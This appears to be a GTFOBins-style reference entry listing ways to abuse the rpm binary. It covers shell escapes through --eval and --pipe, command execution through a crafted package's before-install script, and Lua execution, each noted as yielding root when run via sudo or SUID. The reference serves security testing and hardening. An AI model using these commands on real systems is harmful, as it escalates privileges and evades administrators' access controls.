Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    rpm --eval '%(/bin/sh 1>&2)'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    rpm --eval '%(/bin/sh 1>&2)'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    rpm --eval '%(/bin/sh 1>&2)'
  2. This function can be performed by any unprivileged user.
    rpm --pipe '/bin/sh 0<&1'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    rpm --pipe '/bin/sh 0<&1'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    rpm --pipe '/bin/sh 0<&1'

Command

This executable can run non-interactive system commands.
  1. Comment

    Generate the RPM package with fpm and upload it to the target.

    echo /path/to/command >x.sh
    fpm -n x -s dir -t rpm -a all --before-install x.sh .
    
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    rpm -ivh x-1.0-1.noarch.rpm

Inherit

This executable can inherit functions from another.
  1. Version requirementsSome older version is required.
    CommentThis allows to run Lua code (...).
    This function can be performed by any unprivileged user.
    rpm --eval '%{lua:...}'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    rpm --eval '%{lua:...}'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    rpm --eval '%{lua:...}'
    Functions

    Inherits from lua, thus possibly granting its functions.